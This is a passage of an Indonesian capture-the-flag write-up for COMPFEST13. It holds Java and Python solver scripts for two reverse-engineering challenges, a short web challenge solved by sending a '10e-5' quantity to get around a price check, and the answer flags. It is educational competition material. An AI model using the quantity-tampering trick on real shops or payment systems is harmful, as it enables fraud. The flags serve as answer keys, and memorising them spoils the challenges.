this.box[i - 1] = n3 >= 2 ? 1 : 0;
}
++this.cnt;
}

private String misteri(int n) {


Object object = "";
int n2 = 0;
int n3 = 1;
while (n > 0) {
n2 |= (n & 1) << n3 % 8 - 1;
n >>= 1;
if (n3 % 8 == 0) {

42
if (32 <= n2 && n2 < 128) {
object = (char)n2 + (String)object;
}
n2 = 0;
}
++n3;
}
object = (char)n2 + (String)object;
return object;
}

public String getData() {


int n = this.mydata.length / 9;
Object object = "";
int n2 = 5;
int n3 = 0;
for (int i = 1; i <= n; ++i) {
int n4 = 0;
int n5 = 1;
for (int j = 1; j <= 8; ++j) {
n4 += this.mydata[9 * i - j] * n5;
n5 <<= 1;
}
n3 = (int)((double)n3 + (double)(n4 - 33) *
Math.pow(85.0, --n2));
if (n2 != 0) continue;
object = (String)object + this.misteri(n3);
n3 = 0;
n2 = 5;
}
while (n2 > 0) {
n3 = (int)((double)n3 + 84.0 * Math.pow(85.0, --n2));
}
return (String)object + this.misteri(n3);
}
}

Singkat cerita, input kita yang hanya 0 atau 1 itu diproses dengan suatu metode lalu
menghasilkan suatu output. Dari script yang diberikan terlihat panjang input maksimal hanya
8 bit ( 256 ). Dari sini kami tidak ambil pusing, langsung modifikasi scriptnya saja untuk
bruteforce dan mencari yang outputnya berisi string COMPFEST.

43
class Secret {
private int cnt = 1;
private int[] mydata;
private int[] box;
private static Secret instance;

private Secret() {
this.cnt = 1;
this.mydata = new int[] { 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1,
1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0,
1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1,
1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1,
1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1,
0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1,
0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1,
1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1,
0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0,
1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1,
1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1,
1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0,
0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1,
1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0,
1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0,
1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1,
0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0,
1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0,
1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1,
0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1,
0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1,
1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1,
1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0 };
this.box = new int[this.mydata.length / 9];
}

public static Secret getInstance() {


return Secret.instance;
}

public void resetInstance() {


Secret.instance = new Secret();
}

44
public void process(char c) {
if (this.cnt > 9) {
return;
}
int n = this.mydata.length / 9;
for (int i = 1; i <= n; ++i) {
int n2 = 9 * i - this.cnt;
int n3 = this.box[i - 1] + this.mydata[n2];
this.mydata[n2] = (n3 += c - 48) % 2;
this.box[i - 1] = n3 >= 2 ? 1 : 0;
}
++this.cnt;
}

public String misteri(int n) {


String object = "";
int n2 = 0;
int n3 = 1;
while (n > 0) {
n2 |= (n & 1) << n3 % 8 - 1;
n >>= 1;
if (n3 % 8 == 0) {
if (32 <= n2 && n2 < 128) {
object = (char)n2 + (String)object;
}
n2 = 0;
}
++n3;
}
object = (char)n2 + (String)object;
return object;
}

public String getData() {


int n = this.mydata.length / 9;
Object object = "";
int n2 = 5;
int n3 = 0;
for (int i = 1; i <= n; ++i) {
int n4 = 0;
int n5 = 1;

45
for (int j = 1; j <= 8; ++j) {
n4 += this.mydata[9 * i - j] * n5;
n5 <<= 1;
}
n3 = (int)((double)n3 + (double)(n4 - 33) *
Math.pow(85.0, --n2));
if (n2 != 0) continue;
object = (String)object + this.misteri(n3);
n3 = 0;
n2 = 5;
}
while (n2 > 0) {
n3 = (int)((double)n3 + 84.0 * Math.pow(85.0, --n2));
}
return (String)object + this.misteri(n3);
}

public String padLeftZeros(String inputString, int length) {


if (inputString.length() >= length) {
return inputString;
}
StringBuilder sb = new StringBuilder();
while (sb.length() < length - inputString.length()) {
sb.append('0');
}
sb.append(inputString);

return sb.toString();
}

public String transform(int i) {


return padLeftZeros(Integer.toBinaryString(i), 8);
}

static {
Secret.instance = new Secret();
}
}

public class MyClass {


public static void main(String args[]) {
System.out.println(Secret.getInstance().transform(10));

46
for(int i = 0; i < 256; i++) {
Secret.getInstance().resetInstance();
String code = Secret.getInstance().transform(i);
for (int j = 0; j < code.length(); j++){
Secret.getInstance().process(code.charAt(j));

System.out.println(Secret.getInstance().getData());
}
}
}
}

Simpan script di atas sebagai MyClass.java. Lalu compile dan jalankan.

Flag: COMPFEST13{brut3Force_AND_w1n_6965d74c2e}

Magical Mystery Club

Reverse binary linux yang cukup sederhana. Intinya kita disuruh memasukkan suatu string
kemudian string tersebut diproses secara berbelit-belit (pemanggilan fungsi yang cukup
banyak dan dalam), lalu dibandingkan hasilnya dengan suatu nilai. Setelah binary diinpeksi
menggunakan ghidra, kami coba recreate menggunakan python lalu direverse logicnya (tbh,

47
nggak terlalu banyak yg bisa dijelasin karena intinya cuma XOR hasil pemrosesan 2 fungsi
yang berbeda) (Note di sini terlihat dalam binary dipanggil fungsi rand(), setelah kami
coba-coba berapapun nilai rand() tidak berpengaruh terhadap hasil output pemrosesan suatu
karakter sehingga kami hiraukan). Yak, seperti yang dibilang sebelumnya, ini script versi
python nya.

from string import printable


from pwn import p64
import struct

flag = p64(0x45b737817b841bdb)
flag += p64(0x267e07a86fc14218)
flag += p64(0x69e1b652cb729ea3)
flag += p64(0x5e7e7d051d86de97)
flag += p64(0xedbf6865511a9855)
flag += p64(0xe9adc7ce415a746c)
flag += p64(0xdc7bed5d6251f988)
flag += p64(0xfed5090ff8dd37f2)
flag += p64(0xb71e68f9da8346ad)
flag += p64(0x8780488c7f496863)
flag += p64(0xc06fd17d9b01fbeb)
flag += p64(0xf913113ddbdee8d9)
flag += p64(0x4df758090ab8ae99)
flag += p64(0x8dbcb4829778b4ac)
flag += p64(0xd569f78a9c092d0a)
flag += p64(0xf818ce39c8c4e7e8)
flag += p64(0xb5f78ecc2dbd59af)
flag += p64(0xb692b6805349836c)
flag += p64(0xfd841f43943fda1f)
flag += p64(0xeec1a93441962414)
flag += p64(0x3a6225f7f4309551)
flag += p64(0xed64258219350acc)
flag += p64(0x9e7041bf829e9218)
flag += p64(0xe852a8a5bf2a625)
flag += p64(0xbf2c1037adb6935a)
flag += p64(0x845bc1184914b2c5)
flag += p64(0x78a2716baae70af0)
flag += p64(0xecfc891acf2abc6b)
flag += p64(0xff85d0e086956650)
flag += p64(0x3bd5ccc8e5c2cfca)

48
flag += p64(0x8e3445fb88f2ea7)
flag += p64(0x6eb31827288dc75c)
flag += p64(0xbd949fe065fd72dc)
flag += p64(0x72cffd6b0479d1e7)
flag += p64(0xa438d5c03f2eb3ca)
flag += p64(0x59d64e97c94aa915)
flag += p64(0xa1a2985307dda179)
flag += p64(0x1c9fc505b3ccd51a)
flag += p64(0xcfd54eec85426136)
flag += p64(0x7b874cdb59b2a3f2)
flag += p64(0x234e33c24416629e)
flag += p64(0x9d6dfc40278f87de)
flag += p64(0x7341628cebf7f575)
flag += p64(0xa11946f5ef9cc128)
flag += p64(0xd65dba4a3574b26b)
flag += p64(0x16b1cc713ad76f02)
flag += p64(0xeed9cf98baa793db)
flag += p64(0x6eaf74fbaa9af375)
flag += p64(0xb2610aa0762ed640)
flag += p64(0x6b4f6183de5d240c)
flag += p64(0xa48394a549c62a2e)
flag += p64(0x241b0f79668a8142)
flag += p64(0xe1b0578321943c9d)
flag += p64(0x782f86fe86458256)
flag += p64(0xaf2348c6b9f69dd6)
flag += p64(0x5f54cde00efa1f9a)
flag += p64(0x2139699f269a2a63)
flag += p64(0xbc6401dd6c230650)
flag += p64(0x535c467ced4548b4)
flag += p64(0x992b4d854d4422ed)
flag += p64(0xe130c4a4842a45ba)
flag += p64(0x2d66bf3290d89dab)
flag += p64(0x53aafbabb6fa49f4)
flag += p64(0x86e9e26843df6915)
flag += p64(0x1650dc001f8ce434)
flag += p64(0x6d646291142ce6b9)
flag += p64(0x7b4213b860591b36)
flag += p64(0xaf3fe0568d293809)
flag += p64(0xfe2d60af51f5580a)
flag += p64(0x81f160dbf9b6a619)
flag += p64(0xcd9cc1d889f27660)
flag += p64(0xe9753ebc8996fde3)

49
flag += p64(0x91f91929bb90cac)
flag += p64(0x59f83c7ae10eb7b2)
flag += p64(0x51a745f693a2f9af)
flag += p64(0xc8dbb42bd8864676)
flag += p64(0x519a803ebd619bac)
flag += p64(0x5eda784f49a4d969)

def toUnsigned(n):
packed = struct.pack('>h', n) # Packing a long number.
unpacked = struct.unpack('>H', packed)[0] # Unpacking a
packed long number to unsigned long
return unpacked

def f27(param1, param2):


return (param2 + param1) & 0xff

def f26(param1, param2, param3):


param2 = param2 + param3*2
return f27(param1, param2)

def f25(param1, param2, param3):


uVar1 = (param2 // (param3*0x27 + 0x1d)) & 0xffffffff
return f26(param1, uVar1, param3)

def f24(param1, param2, param3):


param2 = param3 * -0x827 + param2
return f25(param1, param2, param3)

def f23(param1, param2, param3):


return f24(param1, param2 - 0x63b, param3)

def f22(param1, param2, param3):


return f23(param1, param2*0x4e, param3)

def f21(param1, param2, param3):


return f22(param1, param2*param2, param3)

def f16(param1, param2):


return (param2 + param1 ) & 0xff

def f15(param1, param2, param3):


return f16(param1, param2 - param3)

50
def f14(param1, param2, param3):
return f15(param1, param2 // 0xc6, param3)

def f13(param1, param2, param3):


return f14(param1, param2 - 0x13d1c, param3)

def f12(param1, param2, param3):


return f13(param1, param2 * 0xc6, param3)

def f11(param1, param2, param3):


return f12(param1, param2 + 0x1ad, param3)

states = []
state = 0x42
revObjF11 = {}
for i in range(0x100):
revObjF11[f11(i,0,0)] = chr(i).encode('utf-8')

flag = flag[52:52+0x62]
for i in range(len(flag)):
states.append(f21(state,0,0))
state *= 3

c = []
for i in range(len(flag)):
if(states[i] < 0):
states[i] = toUnsigned(states[i])
c.append(flag[i] ^ states[i])

f = b''
cnt = 0
for i in c:
f += revObjF11[i]
print(f)

51
Flag:
COMPFEST13{n3Ver_Tru5t_M4tHemAg1cKal_tR1cK5s_n0BoDY_tH0u6hT_No_0ne_W0
ulD_n0t1c3_4nYw4Y_98f66ab185}

52
Web Exploitation
Hospital Donation

Diberikan webservice di mana kita diberi modal 1jt dan disuruh donasi minimal 10 transport
ventilator yang harga satuannya 326jt. Singkat cerita, tugas kita di sini adalah meng-abuse

53
quantity yang dikirim. Program tidak menerima kuantitas yg di bawah 10 atau di atas 50.
Setelah mencoba-coba berbagai payload, kami curiga bahwa fungsionalitas ini dapat diakali
dengan menginputkan 10e-5 (terdapat angka 10 di situ namun ketika dieksekusi, nilainya
menjadi sangat kecil, sehingga bila dikalikan dengan harga satuan transport ventilator,
nilainya justru menjadi semakin kecil dari harga aslinya). Langsung saja kami coba pakai
burpsuite.

Flag: COMPFEST13{thank_you_g00d_people_4_helping_us_ffb3a7cdd8}

54

Anda mungkin juga menyukai